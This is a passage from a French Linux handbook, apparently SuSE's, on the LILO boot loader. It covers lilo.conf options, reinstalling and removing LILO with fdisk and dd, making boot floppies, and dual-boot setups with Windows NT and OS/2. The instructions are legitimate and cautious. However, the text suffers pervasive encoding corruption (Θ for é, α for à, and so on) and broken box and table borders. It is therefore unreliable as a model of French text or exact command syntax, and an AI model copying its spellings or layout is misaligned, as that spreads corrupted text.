  8353.        vous prenez les choses au sΘrieux, vous devriez effacer le mot de passe
  8354.        aprΦs  la  premiΦre  utilisation  de  ce  fichier  lilo.conf  ~  sous  le  compte
  8355.        root, vous pouvez de toute faτon dΘterminer α tout moment un nouveau
  8356.        mot de passe en procΘdant α une nouvelle installation de LILO . ~ Il est
  8357.        recommandΘ d'ajouter l'option restricted         . Sans cette option il est en
  8358.        effet possible, avec un paramΦtre, de lancer directement un shell. Voir la
  8359.        page de man de lilo.conf         (man  lilo.conf           ) !
  8360.  
  8361.    ~   read-only
  8362.  
  8363.        Avec cette option image, LILO  demande au noyau concernΘ de monter
  8364.        tout d'abord la partition racine en mode lecture seule ainsi qu'il est gΘnΘ-
  8365.        ralement d'usage lors du dΘmarrage du systΦme Linux. Si cette option est
  8366.        omise, le noyau utilise les enregistrements qu'il contient lui-mΩme12 .
  8367.  
  8368.    ~   delay=<dixiΦmes  de  seconde>
  8369.  
  8370.        Lorsque l'invite n'est pas prescrite de faτon impΘrative, l'utilisateur peut
  8371.        quand  mΩme,  au  moment  du  dΘmarrage__de__LILO ,  demander_ une  invite_
  8372.        en  appuyant  sur  les  touches | ___________S|hift, *|______C|trl, | ____A|lt.  L'option  delay     dΘ-
  8373.        termine  le  temps  durant  lequel  LILO  attend  aprΦs  son  dΘmarrage  que
  8374.        les touches soient pressΘes avant de charger automatiquement le systΦme
  8375.        d'exploitation qui se trouve en tΩte de sa liste. La valeur par dΘfaut est 0 ,
  8376.        ce qui signifie aucun dΘlai.
  8377.  
  8378.        L'option  delay     est  naturellement  superflue  si  l'invite  est  expressΘment
  8379.        requise avec prompt      .
  8380.  
  8381.    ~   vga=<mode>
  8382.  
  8383.        SΘlectionne le mode texte VGA lors du dΘmarrage. Les valeurs α entrer
  8384.        pour <mode> sont normal       (pour 80x25), ext    (pour 80x50) ou ask    (de-
  8385.        mander lors de l'amorτage).
  8386.  
  8387.    ~   append="<paramΦtres>"
  8388.  
  8389.        Option image pour le noyau Linux. Permet la transmission de paramΦtres
  8390.        du noyau, par exemple lorsque l'on fait connaεtre au noyau les composants
  8391.        matΘriels exactement comme il est possible de le faire α l'invite de LILO .
  8392.        Le noyau reτoit d'abord la ligne append       et ensuite les entrΘes α l'invite.
  8393.        C'est pourquoi, en cas de doute, les entrΘes α l'invite sont prΘdominantes.
  8394.  
  8395.        Par exemple : append="mcd=0x300,10"
  8396.  
  8397. 12      ____________________________________________________
  8398.     Peut Ωtre visualisΘe avec la commande rdev  -R  <image  de  noyau>           . Elle est de toute
  8399.  faτon en lecture seule (vΘrifier !) pour les noyaux d'installation ainsi que dans le cas d'un noyau
  8400.  nouvellement compilΘ et on n'a donc pas besoin normalement de cette option.
  8401.  
  8402.  
  8403.                                                                                                                                    *
  8404.  *    129
  8405. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  8406.  *_______________________________________@
  8407.  
  8408.  
  8409.  
  8410.                            4.5       Installation et dΘsinstallation de LILO
  8411.  
  8412.                            Lors d'une nouvelle installation de Linux, YaST  guide l'utilisateur de faτon
  8413.                            interactive  α  travers  les  Θtapes  indispensables  et  il  n'est  en  gΘnΘral  pas  nΘ-
  8414.                            cessaire d'intervenir manuellement dans la procΘdure d'installation de LILO .
  8415.                            Mais ici nous supposons que LILO doit Ωtre intΘgrΘ avec des options spΘciales
  8416.                            dans un systΦme.
  8417.                            ________________________________________________________________________________________________________*
  8418.  *________||
  8419.                            |  L'installation d'un gestionnaire d'amorτage constitue une intervention au                            *
  8420.  *        ||||
  8421.                            |                                                                                                       *
  8422.  *        |||
  8423.                            |  sein du systΦme et elle est par consΘquent extrΩmement dΘlicate. Vous de-                            *
  8424.  *        |||
  8425.                            |  vez absolument vous assurer, avant l'installation de LILO , que vous pou-                            *
  8426.  *        |||
  8427.                            |                                                                                                       *
  8428.  *        |||
  8429.                            |  vez amorcer votre Linux et si possible aussi vos autres systΦmes d'exploi-                           *
  8430.  *        |||
  8431.                            |  tation α partir d'une disquette ! Vous devez surtout avoir fdisk  α votre dis-                       *
  8432.  *        |||
  8433.                            |                                                                                                       *
  8434.  *        |||
  8435.                            |  position.                                                                                            *
  8436.  *        |||
  8437.                            |_______________________________________________________________________________________________________*
  8438.  *________|||_
  8439.  
  8440.  
  8441.                            Installation aprΦs modification de la configuration
  8442.  
  8443.                            Si quelque chose a changΘ dans les ΘlΘments qui composent LILO ( page 121)
  8444.                            ou  si  vous  avez  modifiΘ  votre  configuration  dans  /etc/lilo.conf,  vous
  8445.                            devrez  procΘder  α  une  nouvelle  installation  de  LILO .  Cela  se  fait  par  une
  8446.                            simple invocation du ``map-installer'' :
  8447.  
  8448.                                  terre:  #  /sbin/lilo
  8449.  
  8450.                            LILO crΘe alors une sauvegarde du secteur (d'amorτage) cible, Θcrit son ``pre-
  8451.                            mier niveau'' sur ce secteur et gΘnΦre un nouveau fichier map (voir page 121).
  8452.                            Ensuite, LILO  affiche l'un aprΦs l'autre les systΦmes installΘs - comme dans
  8453.                            le cas de notre configuration exemple (voir affichage 4.5.1) :
  8454.  
  8455.                            ________________________________________________________________________________________________________*
  8456.  *________
  8457.                            | Added  Linux*                                                                                         *
  8458.  *         |
  8459.                            | Added  Linux.old                                                                                      *
  8460.  *         |
  8461.                            |                                                                                                       *
  8462.  *         |
  8463.                            |_Added__DOS____________________________________________________________________________________________*
  8464.  *________ |
  8465.  
  8466.                                               affichage α l'Θcran 4.5.1: Sorties α l'appel de LILO
  8467.  
  8468.  
  8469.                            Lorsque l'installation est terminΘe, la machine peut Ωtre redΘmarrΘe :
  8470.  
  8471.                                  terre:  #  shutdown  -r  now
  8472.  
  8473.                            AprΦs que le BIOS ait effectuΘ son test du systΦme, LILO  se manifeste en-
  8474.                            core par un message d'invite. Vous pouvez alors transmettre α LILO  des_pa-_
  8475.                            ramΦtres pour le noyau et sΘlectionner l'image de boot dΘsirΘe. Avec |T____a|b, il
  8476.                            est possible de faire Θtablir une liste des configurations installΘes.
  8477.  
  8478.  
  8479.                            Installation aprΦs nouvelle compilation du noyau
  8480.  
  8481.                            Si vous voulez intΘgrer un noyau nouvellement compilΘ dans votre concept
  8482.                            d'amorτage, vous avez, outre la possibilitΘ de procΘder manuellement α une
  8483.                            nouvelle installation de LILO , encore une autre possibilitΘ qui vous offre plus
  8484.                            de commoditΘ :
  8485.  
  8486.                            L'organisation  des  commandes  pour  configurer  et  gΘnΘrer  le  noyau  est
  8487.                            enregistrΘe   dans   le   fichier   /usr/src/linux/Makefile.   C'est   lα   que
  8488.                            INSTALL_PATH=/boot                 doit Ωtre dΘterminΘe (voir paragraphe 13.5 page 363).
  8489.  
  8490.  
  8491. 130
  8492.        _________________________________________________________________4.5.__Installation_et_dΘsinstallation_de_LILO______________*
  8493.  *______________________
  8494.  
  8495.  
  8496.  
  8497. Ce Makefile dispose d'un target       nommΘ bzlilo       qui, aprΦs une compi-
  8498. lation automatique du noyau, copie le noyau installΘ sous /boot/vmlinuz
  8499. (autrefois  /vmlinuz)  vers  /boot/vmlinuz.old,  Θcrit  le  noyau  qui  vient
  8500. d'Ωtre gΘnΘrΘ vers /boot/vmlinuz et rΘinstalle LILO . Il suffit pour cela de
  8501. taper :
  8502.  
  8503.       terre:/usr/src/linux  #  make  bzlilo
  8504.  
  8505. Cela n'a toutefois de sens que si votre /etc/lilo.conf a ΘtΘ prΘparΘ aupa-
  8506. ravant α cet appel de LILO  et si le noyau que vous utilisiez jusqu'α prΘsent
  8507. est vraiment situΘ sous /boot/vmlinuz. Sous vos images, vous devriez faire
  8508. figurer  le  nouveau  noyau  -  et  pour  des  raisons  de  sΘcuritΘ  aussi  l'ancien  -
  8509. comme cela a ΘtΘ fait dans le fichier 4.4.1 page 125.
  8510.  
  8511. Vous pouvez ainsi, α l'invite de LILO , dΘmarrer aussi bien le nouveau noyau
  8512. que  l'ancien  noyau  ~  en  Θtat  de  fonctionnement  ~  (nom  dans  l'exemple  :
  8513. Linux.old         ). Vous construisez ainsi un niveau de sΘcuritΘ supplΘmentaire qui
  8514. est  utile  dans  le  cas  o∙  le  systΦme  ne  serait  pas  capable  d'amorcer  avec  le
  8515. nouveau noyau.
  8516.  
  8517. Pour savoir comment gΘnΘrer un nouveau noyau, reportez-vous au chapitre 13
  8518. page 359.
  8519.  
  8520.  
  8521. Suppression de LILO
  8522.  
  8523.        _______________________________________________________________________________________________________________________|||
  8524.        ||||||||                                                                                                 ||             |
  8525.        ||||||||  La dΘsinstallation d'un gestionnaire d'amorτage constitue une intervention                     ||             |
  8526.        ||||||||  au sein du systΦme et elle est par consΘquent extrΩmement dΘlicate. Vous                       ||             |
  8527.        ||||||||                                                                                                 ||             |
  8528.        ||||||||  devez absolument vous assurer, avant la dΘsinstallation de LILO , que vous                     ||             |
  8529.        ||||||||  pouvez amorcer votre Linux et aussi vos autres systΦmes d'exploitation ~                       ||             |
  8530.        ||||||||                                                                                                 ||             |
  8531.        ||||||||  si ceux-ci existent ~ α partir d'une disquette ! Vous risquez sinon d'avoir la                 ||             |
  8532.        ||||||||  dΘsagrΘable surprise de ne plus pouvoir accΘder aux systΦmes d'exploita-                       ||             |
  8533.        ||||||||                                                                                                 ||             |
  8534.        ||||||||  tion qui rΘsident sur votre disque dur.                                                        ||             |
  8535.        ||||||||_______________________________________________________________________________________________________________||_
  8536.  
  8537. Il sera peut-Ωtre un jour nΘcessaire de dΘsinstaller LILO  :-(  Cela se fait en
  8538. restituant  au  secteur  (d'amorτage)  cible  sur  lequel  LILO  a  ΘtΘ  installΘ  son
  8539. contenu initial. Sous Linux, cette opΘration ne prΘsente aucune difficultΘ s'il
  8540. existe une copie de sauvegarde valide (voir paragraphe 4.4.2 page 127, option
  8541. backup      ).
  8542.        _______________________________________________________________________________________________________________________|||
  8543.        ||||||||  Une sauvegarde du secteur d'amorτage est invalidΘe si la partition concer-                     |||            |
  8544.        ||||||||                                                                                                 ||             |
  8545.        ||||||||  nΘe a reτu un nouveau systΦme de fichiers (monde DOS : si elle a ΘtΘ for-                      ||             |
  8546.        ||||||||  matΘe). La table des partitions dans une sauvegarde de MBR est invalidΘe                       ||             |
  8547.        ||||||||                                                                                                 ||             |
  8548.        ||||||||  si le disque dur concernΘ a entre temps ΘtΘ partitionnΘ d'une autre maniΦre.                   ||             |
  8549.        ||||||||  De telles sauvegardes sont des ``bombes α retardement'' : il est prΘfΘrable                    ||             |
  8550.        ||||||||                                                                                                 ||             |
  8551.        ||||||||  de les effacer immΘdiatement ! La rΘintΘgration de sauvegardes pΘrimΘes                        ||             |
  8552.        ||||||||  dans ces secteurs du systΦme est une mΘthode plut⌠t s√re pour obtenir une                      ||             |
  8553.        ||||||||                                                                                                 ||             |
  8554.        ||||||||  perte massive de donnΘes !                                                                     ||             |
  8555.        ||||||||_______________________________________________________________________________________________________________||_
  8556.  
  8557. Le  plus  simple  est  de  restaurer  un  MBR  DOS,  Windows  ou  OS/2.  Cela  se
  8558. fait  en  utilisant  la  commande  MS-DOS  (disponible  α  partir  de  la  version
  8559. DOS 5.0) :
  8560.  
  8561.  
  8562.                                                                                                                                    *
  8563.  *   131
  8564. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  8565.  *_______________________________________@
  8566.  
  8567.  
  8568.  
  8569.                                  C:\>  fdisk  /mbr
  8570.                            ou, selon le cas, la commande OS/2 :
  8571.  
  8572.                                  C:\>  fdisk  /newmbr
  8573.  
  8574.                            Ces commandes ne rΘΘcrivent que les 446 premiers octets (le code d'amor-
  8575.                            τage) sur le MBR et laissent la table des partitions inchangΘe13 . Ne pas ou-
  8576.                            blier : Marquez comme active (angl. bootable) avec fdisk la partition d'amor-
  8577.                            τage que vous dΘsirez α partir de maintenant ; les routines du MBR, de DOS,
  8578.                            de Windows et d'OS/2 le requiΦrent !
  8579.  
  8580.                            CrΘez  aussi  une  nouvelle  sauvegarde  supplΘmentaire  du  secteur  LILO  cri-
  8581.                            tique ~ on n'est jamais trop s√r. VΘrifiez ensuite ~ plut⌠t deux fois qu'une ;-)
  8582.                            ~ que votre ancien fichier de sauvegarde est bien le bon et qu'il a une taille
  8583.                            d'exactement 512 octets. Pour terminer, remettez-le en place. Ceci se fait avec
  8584.                            les commandes suivantes (ne pas confondre if= et of= ! !) :
  8585.  
  8586.                              ~   Si LILO  rΘside sur la partition yyyy (par exemple hda1, hda2, : : :) :
  8587.                                    terre:  #  dd  if=/dev/yyyy  of=nouveau  bs=512  count=1
  8588.                                    terre:  #  dd  if=sauvegarde  of=/dev/yyyy
  8589.  
  8590.  
  8591.                              ~   Si LILO  rΘside sur le MBR du disque dur zzz (par exemple hda, sda) :
  8592.                                    terre:  #  dd  if=/dev/zzz  of=nouveau  bs=512  count=1
  8593.                                    terre:  #  dd  if=sauvegarde  of=/dev/zzz  bs=446  count=1
  8594.  
  8595.  
  8596.  
  8597.                            La derniΦre commande est ``prudente'' et n'Θcrit pas dans la table des parti-
  8598.                            tions. Ne pas oublier non plus ici : Marquez de nouveau comme active (angl.
  8599.                            bootable) avec fdisk  la partition de dΘmarrage que vous dΘsirez α partir de
  8600.                            maintenant.
  8601.  
  8602.                            Remarque  :  Vous  avez  constatΘ  α  quel  point  la  sauvegarde  d'un  secteur
  8603.                            d'amorτage  est  rapide !  Il  est  recommandΘ  d'effectuer  cette  opΘration  plus
  8604.                            frΘquemment.
  8605.  
  8606.  
  8607.  
  8608.                            4.6       GΘnΘrer une disquette d'amorτage Linux
  8609.  
  8610.                            Une  disquette  d'amorτage  Linux  est  constituΘe  ~  pour  dire  les  choses  de
  8611.                            faτon simplifiΘe - d'un ou de plusieurs noyaux Linux Θventuellement gΘrΘs
  8612.                            par LILO . Elle sert α dΘmarrer votre systΦme Linux sur le disque dur mΩme
  8613.                            lorsqu'il  n'est  plus  possible  d'amorcer  directement  α  partir  du  disque.  Les
  8614.                            causes de ce problΦme peuvent Ωtre : MBR ΘcrasΘ, gestionnaire d'amorτage
  8615.                            mal configurΘ, erreurs lors de l'installation de LILO .
  8616.  
  8617.                            Une telle disquette d'amorτage charge seulement le noyau : tout le reste (init ,
  8618.                            scripts de dΘmarrage, programmes systΦme importants) est requis par votre
  8619.                            systΦme  et  doit  demeurer  fonctionnel.  On  Θtablit  la  liaison  de  la  disquette
  8620.                            d'amorτage avec le systΦme sur le disque dur en configurant dans le noyau la
  8621.                            partition racine concernΘe comme pΘriphΘrique racine.
  8622.  
  8623.                            Ceci  ne  doit  pas  Ωtre  confondu  avec  les  disquettes  d'amorτage  SuSE     pour
  8624.                            systΦmes d'installation et de secours dont vous pouvez, α l'aide des fichiers
  8625.                           1_____________________________________________3
  8626.                               Sauf si le MBR ( page 118) est considΘrΘ dans sa totalitΘ comme n'Θtant pas valide en raison
  8627.                            d'un ``nombre magique'' erronΘ : la table des partitions est alors remplie de zΘros ! !
  8628.  
  8629.  
  8630. 132
  8631.         ____________________________________________________________4.6.__GΘnΘrer_une_disquette_d'amorτage_Linux___________________*
  8632.  *_______________________
  8633.  
  8634.  
  8635.  
  8636.  images (angl. image files) sous /disks sur le premier CD, crΘer α tout mo-
  8637.  ment de nouveaux exemplaires (voir paragraphe 16.5 page 438).
  8638.  
  8639.  
  8640.  Disquette d'amorτage sans LILO
  8641.  
  8642.  Si  vous  avez  la  chance  que  votre  noyau  n'ait  besoin,  lors  du  dΘmarrage,
  8643.  d'aucune ligne de commande supplΘmentaire contenant des informations sur
  8644.  le  matΘriel  ou  autres  choses14 ,  la  mΘthode  la  plus  rapide  pour  obtenir  une
  8645.  disquette d'amorτage pour votre systΦme Linux consistera tout simplement α
  8646.  Θcrire votre noyau actuel sur une disquette vierge sans aucune dΘfectuositΘ et,
  8647.  au cas o∙ ce ne serait pas dΘjα fait, α configurer correctement le pΘriphΘrique
  8648.  racine :
  8649.        terre:  #  /sbin/badblocks  -v  /dev/fd0  1440
  8650.        terre:  #  dd  if=votre  noyau  of=/dev/fd0  bs=18k
  8651.        terre:  #  rdev  /dev/fd0  votre  partition  racine
  8652.        terre:  #  rdev  -R  /dev/fd0  1
  8653.  La  premiΦre  commande  vΘrifie  si  la  disquette  n'a  pas  de  blocs  dΘfectueux
  8654.  (1 bloc = 1k). La derniΦre commande veille α ce que le noyau monte d'abord
  8655.  la  partition  racine,  comme  il  se  doit,  en  mode  lecture  seule  (les  scripts  de
  8656.  dΘmarrage du systΦme y comptent).
  8657.  
  8658.  
  8659.  Disquette d'amorτage avec LILO
  8660.  
  8661.  Il est possible de gΘnΘrer une disquette d'amorτage plus attrayante avec mes-
  8662.  sage d'accueil, invite pour le noyau et les paramΦtres du noyau et autres goo-
  8663.  dies offerts par LILO en transcrivant sur une disquette le mΘcanisme complet
  8664.  de dΘmarrage de LILO  (voir page 121). Pour cela, la disquette a besoin d'un
  8665.  systΦme de fichiers, de prΘfΘrence minix     .
  8666.  
  8667.  Pour prendre vous-mΩme les choses en main, vous devez procΘder de cette
  8668.  maniΦre :
  8669.  
  8670.    ~   CrΘez,  sur  une  disquette  vierge,  un  systΦme  de  fichiers  minix      ~  avec
  8671.        contr⌠le d'erreurs pour plus de sΘcuritΘ ~ et si vous avez rΘussi, montez
  8672.        par exemple sous /mnt :
  8673.              terre:  #  /sbin/mkfs.minix  -c  /dev/fd0  1440
  8674.              terre:  #  /bin/mount  /dev/fd0  /mnt
  8675.  
  8676.  
  8677.    ~   Copiez vos fichiers de noyau et le fichier LILO /boot/boot.b vers /mnt
  8678.        (c'est-α-dire sur la disquette)
  8679.  
  8680.    ~   Optionnel : CrΘez un fichier /mnt/messages pour le message d'accueil.
  8681.  
  8682.    ~   CrΘez  dans  /mnt  un  propre  fichier  lilo.conf  comme  dans  l'exemple
  8683.        donnΘ par le (fichier 4.6.1 page suivante. Vous devez naturellement rem-
  8684.        placer Votre_pΘriphΘrique_racine par la vΘritable partition racine :
  8685.  
  8686.    ~   Si vous utilisez initrd, vous devez aussi l'inscrire dans lilo.conf. Voir
  8687.        les informations du paragraphe 16.2.3 page 425.
  8688.  
  8689.    ~   Installez LILO  avec ce lilo.conf :
  8690.              terre:  #  /sbin/lilo  -C  /mnt/lilo.conf
  8691.  
  8692. 14      ____________________________________________________
  8693.    Il s'agit ici du cas normal o∙ vous avez compilΘ dans le noyau (``noyau monolitique'') le support
  8694.  pour le contr⌠leur de disque.
  8695.  
  8696.  
  8697.                                                                                                                                    *
  8698.  *    133
  8699. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  8700.  *_______________________________________@
  8701.  
  8702.                            ________________________________________________________________________________________________________*
  8703.  *________||||
  8704.                            | #  LILO  Fichier  de  configuration  Disquette  d'amorτage                                            *
  8705.  *         |
  8706.  
  8707.                            ||#  Start  LILO  global  Section                                                                       *
  8708.  *         ||
  8709.                            | boot=/dev/fd0                       #  Cible  de  l'installation:  disquette                          *
  8710.  *         |
  8711.                            | install=/mnt/boot.b            #  Naturellement  LILO  et                                             *
  8712.  *         |
  8713.                            |                                                                                                       *
  8714.  *         |
  8715.                            | map=/mnt/map                        #  Fichier  map  sur  la  disquette!                              *
  8716.  *         |
  8717.                            | message=/mnt/message           #  optionnel                                                           *
  8718.  *         |
  8719.                            |                                                                                                       *
  8720.  *         |
  8721.                            | prompt                                                                                                *
  8722.  *         |
  8723.                            | timeout=100         #    Attente  α  l'invite:  10  s.                                                *
  8724.  *         |
  8725.                            |                                                                                                       *
  8726.  *         |
  8727.                            | vga  =  normal       #                                                                                *
  8728.  *         |
  8729.                            | #  End  LILO  global  section                                                                         *
  8730.  *         |
  8731.                            |                                                                                                       *
  8732.  *         |
  8733.                            | #                                                                                                     *
  8734.  *         |
  8735.                            | #  Linux  bootable  partition  config  begins                                                         *
  8736.  *         |
  8737.                            | image  =  /mnt/vmlinuz            #  par  dΘfaut                                                      *
  8738.  *         |
  8739.                            |                                                                                                       *
  8740.  *         |
  8741.                            |                                               #  partition  racine  par  ici                          *
  8742.  *         |
  8743.                            |        root  =  /dev/Votre_pΘriphΘrique_racine                                                        *
  8744.  *         |
  8745.                            |                                                                                                       *
  8746.  *         |
  8747.                            |        label  =  linux                                                                                *
  8748.  *         |
  8749.                            | #  Linux  bootable  partition  config  ends                                                           *
  8750.  *         |
  8751.                            |                                                                                                       *
  8752.  *         |
  8753.                            | #                                                                                                     *
  8754.  *         |
  8755.                            | #  Sections  de  systΦme  pour  d'autre  noyaux  ici:                                                 *
  8756.  *         |
  8757.                            |_______________________________________________________________________________________________________*
  8758.  *________ |
  8759.  
  8760.                                              fichier 4.6.1: lilo.conf         pour disquette d'amorτage
  8761.  
  8762.  
  8763.  
  8764.                              ~   DΘmontez la disquette et vous avez terminΘ !
  8765.                                       terre:  #  /bin/umount  /mnt
  8766.  
  8767.  
  8768.                              ~   Ne  pas  oublier  :  Faites  un  essai  pour  savoir  si  la  disquette  d'amorτage
  8769.                                  fonctionne vraiment :-)
  8770.  
  8771.  
  8772.                            4.7       Exemples de configurations
  8773.  
  8774.                            Si votre nouveau Linux est seul sur la machine, il n'est pas nΘcessaire pour le
  8775.                            moment d'agir. Le nΘcessaire a ΘtΘ fait avec YaST  dans le cadre de l'installa-
  8776.                            tion.
  8777.  
  8778.                            Quelques exemples pour multisystΦmes vont suivre. Voyez α ce sujet /usr/
  8779.                            doc/howto/en/mini/Linux+*.gz  o∙  des  Linuxiens  laborieux  ont  dΘcrit
  8780.                            leurs propres configurations multisystΦmes.
  8781.  
  8782.  
  8783.                            4.7.1      DOS/Windows 95/98 et Linux
  8784.  
  8785.                            Condition  :  DOS/Windows  95/98  et  Linux  doivent  disposer  chacun  d'une
  8786.                            propre partition sous la limite des 1024 cylindres (voir page 121). La partition
  8787.                            d'amorτage Linux peut aussi Ωtre une partition logique α condition qu'elle soit
  8788.                            situΘe en totalitΘ au dessous de la limite des 1024 cylindres.
  8789.  
  8790.                            Pour  ce  cas,  nous  avons  dΘjα  parlΘ  d'une  configuration  adΘquate  (voir  fi-
  8791.                            chier 4.4.1 page 125) ~ il n'y a plus qu'α adapter les spΘcifications pour root    ,
  8792.                            image      et other      aux conditions rΘelles. LILO  est installΘ sur le MBR. Vous
  8793.                            laisserez bien s√r la section Linux.old de c⌠tΘ s'il n'existe pas un tel noyau
  8794.                            Linux secondaire.
  8795.  
  8796.                            Conservez bien le fichier /etc/lilo.conf et en plus une disquette d'amor-
  8797.                            τage pour votre Linux ! Windows 95/98 a en effet tendance, en diverses oc-
  8798.  
  8799.  
  8800. 134
  8801.        __________________________________________________________________________________4.7.__Exemples_de_configurations__________*
  8802.  *______________________
  8803.  
  8804.  
  8805.  
  8806. casions, α Θliminer les MBR ``Θtrangers'' sans autre forme de procΦs. Si vous
  8807. pouvez  encore  aprΦs  lancer  Linux  α  l'aide  d'une  disquette  d'amorτage,  ce
  8808. problΦme sera vite rΘsolu par la simple commande
  8809.  
  8810.       terre:  #  /sbin/lilo
  8811.  
  8812.  
  8813. 4.7.2      Windows NT et Linux sur un disque dur
  8814.  
  8815.  1.   PossibilitΘ  :  Pour  l'amorτage,  on  utilise  le  gestionnaire  d'amorτage
  8816.       de  NT.  Celui-ci  est  capable  d'initialiser  non  seulement  les  secteurs
  8817.       d'amorτage, mais aussi les fichiers images de ces secteurs d'amorτage.
  8818.       En faisant ce qui suit, il est possible d'amener Linux et Windows NT α
  8819.       cohabiter :
  8820.  
  8821.       ~   Installation de NT.
  8822.  
  8823.       ~   Tenez α votre disposition un support de donnΘes (partition de disque
  8824.           dur ou disquette sans aucune dΘfectuositΘ) avec un systΦme de fichiers
  8825.           sur lequel Linux peut Θcrire et que NT est capable de lire, par exemple
  8826.           FAT.
  8827.  
  8828.       ~   Installez  Linux  de  la  maniΦre  ``habituelle''  (comme  partition  racine
  8829.           nous prenons ici l'exemple /dev/sda3). Monter le support contenant
  8830.           le  systΦme  de  fichiers  FAT  (par  exemple  sous  /dosa).  Pour  des  in-
  8831.           formations  d'ordre  gΘnΘral  sur  le  montage,  voir  paragraphe  19.11.2
  8832.           page 500. Attention : ne pas utiliser les options mount      conv=auto         ou
  8833.           conv=text         qui provoquent des altΘrations.
  8834.  
  8835.       ~   Installer LILO  sur la partition racine (/dev/sda3) et non pas sur le
  8836.           MBR (/dev/sda) ! Vous avez tout comme avant la possibilitΘ de confi-
  8837.           gurer pour LILO  une sΘlection faite parmi plusieurs images du noyau
  8838.           Linux. Comme exemple pour un lilo.conf, voir fichier 4.7.1.
  8839.  
  8840.        _______________________________________________________________________________________________________________________||||
  8841.        |||||||| #  LILO  Fichier  de  configuration:  Rendre  amorτable                                                        |
  8842.        |||||||| #                                                       la  partition  racine  /dev/sda3                       |
  8843.        ||||||||                                                                                                                |
  8844.        |||||||| #  Start  LILO  global  Section                                                                                |
  8845.        |||||||| boot=/dev/sda3                            #  cible  de  l'installation                                         |
  8846.        ||||||||                                                                                                                |
  8847.        |||||||| backup=/boot/boot.sda3.980428  #  sauvegarde  pour  secteur                                                    |
  8848.        ||||||||                                                     #  d'amorτage  prΘcΘdent                                   |
  8849.        ||||||||                                                                                                                |
  8850.        |||||||| prompt                                                                                                         |
  8851.        |||||||| timeout=100         #  Attente  α  l'invite:  10  s                                                            |
  8852.        |||||||| vga  =  normal       #  force  sane  state                                                                     |
  8853.        ||||||||                                                                                                                |
  8854.        |||||||| #  End  LILO  global  section                                                                                  |
  8855.        |||||||| #  Linux  bootable  partition  config  begins                                                                  |
  8856.        ||||||||                                                                                                                |
  8857.        |||||||| image  =  /boot/vmlinuz                       #     default  image  to  boot                                   |
  8858.        ||||||||        root  =  /dev/sda3                #  Partition  racine  par  ici!                                       |
  8859.        ||||||||                                                                                                                |
  8860.        ||||||||        label  =  Linux                                                                                         |
  8861.        |||||||| #  Linux  bootable  partition  config  ends                                                                    |
  8862.        ||||||||_______________________________________________________________________________________________________________ |
  8863.  
  8864.   fichier 4.7.1: lilo.conf         pour rendre amorτable une partition racine Linux
  8865.  
  8866.  
  8867.       ~   Copiez le secteur d'amorτage de LILO  dans un fichier sur le support
  8868.           de donnΘes FAT accessible α NT, par exemple
  8869.     terre:  #  dd  if=/dev/sda3  of=/dosa/bootsek.lin  bs=512  count=1
  8870.  
  8871.  
  8872.                                                                                                                                    *
  8873.  *   135
  8874. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  8875.  *_______________________________________@
  8876.  
  8877.  
  8878.  
  8879.                                      Cette opΘration, tout comme la suivante, doit bien s√r Ωtre recommen-
  8880.                                      cΘe aprΦs chaque mise α jour du noyau !
  8881.                                  ~   Amorcez NT. Copiez le fichier bootsec.lin (que vous venez juste de
  8882.                                      crΘer) dans le rΘpertoire principal de l'unitΘ de disque du systΦme NT
  8883.                                      (pour le cas o∙ il n'y serait pas dΘjα).
  8884.  
  8885.                                  ~   Dans le fichier boot.ini (fixer les attributs) complΘter l'entrΘe sui-
  8886.                                      vante α la fin :
  8887.                                      c:\bootsek.lin="Linux"
  8888.  
  8889.                                  ~   Lors du prochain amorτage, il devrait y avoir ~ si tout a bien marchΘ ~
  8890.                                      une entrΘe dans le gestionnaire d'amorτage de NT !
  8891.  
  8892.                             2.   MΘthode  possible  bien  que  malheureusement  pas  toujours  praticable  :
  8893.                                  Installer  LILO  sur  le  MBR  et  agir  avec  Windows  NT  comme  s'il  Θtait
  8894.                                  DOS (comme dans l'exemple prΘcΘdent). Mais attention : Il semble que
  8895.                                  cela  ne  fonctionne  plus  pour  les  versions  les  plus  rΘcentes  de  NT  qui,
  8896.                                  semble-il, ne dΘmarre que s'il trouve sur le MBR des sΘquences spΘciales
  8897.                                  (pour lesquelles il n'existe pas de documentation) et dont LILO  ignore
  8898.                                  malheureusement tout :-(
  8899.                            ________________________________________________________________________________________________________*
  8900.  *________||
  8901.                            |  Windows NT (3.5* et 4.0) ne connaεt pas les types de partitions 82 et 83                             *
  8902.  *        ||||
  8903.                            |                                                                                                       *
  8904.  *        |||
  8905.                            |  utilisΘs  par  Linux !  Veillez  α  ce  qu'aucun  programme  NT  ne  ``rΘpare''  la                  *
  8906.  *        |||
  8907.                            |  table  des  partitions  dans  ce  sens  :  danger  de  perte  de  donnΘes !  Tenez  α                *
  8908.  *        |||
  8909.                            |                                                                                                       *
  8910.  *        |||
  8911.                            |  disposition,  pour  plus  de  sΘcuritΘ,  des  sauvegardes  valides  du  MBR  de                      *
  8912.  *        |||
  8913.                            |  LILO .                                                                                               *
  8914.  *        |||
  8915.                            |_______________________________________________________________________________________________________*
  8916.  *________|||_
  8917.  
  8918.                            4.7.3      OS/2 et Linux
  8919.  
  8920.                             1.   PossibilitΘ : Pour amorcer, on utilise le gestionnaire d'amorτage d'OS/2.
  8921.                                  Il peut dΘmarrer n'importe quelles partitions primaires et logiques dans la
  8922.                                  limite des 1024 cylindres ~ c'est α l'utilisateur qu'il incombe de veiller
  8923.                                  α ce qu'elles soient vraiment amorτables. Le gestionnaire d'amorτage est
  8924.                                  configurΘ avec le fdisk  de OS/2.
  8925.                                  PrΘparation du c⌠tΘ de Linux : Une partition primaire Linux (habituel-
  8926.                                  lement  la  partition  racine)  est  rendue  amorτable  avec  LILO .  Le  mΩme
  8927.                                  lilo.conf  que  dans  le  fichier  4.7.1  page  prΘcΘdente  est  propre  α  cet
  8928.                                  usage. Mais auparavant, il y a encore certaines choses α prendre en consi-
  8929.                                  dΘration : : ::
  8930.                                  PrΘparation du c⌠tΘ d'OS/2 :   OS/2 ne se contente pas, pour la gestion
  8931.                                  des  partitions  prΘsentes  (sur  les  MBR  des  disques  durs  et  sur  les  sec-
  8932.                                  teurs des partitions Θtendues et logiques) des entrΘes conventionnelles et
  8933.                                  gΘnΘralement comprΘhensibles. Il utilise l'espace disponible sur ces sec-
  8934.                                  teurs pour le stockage d'informations complΘmentaires. Si celles-ci sont
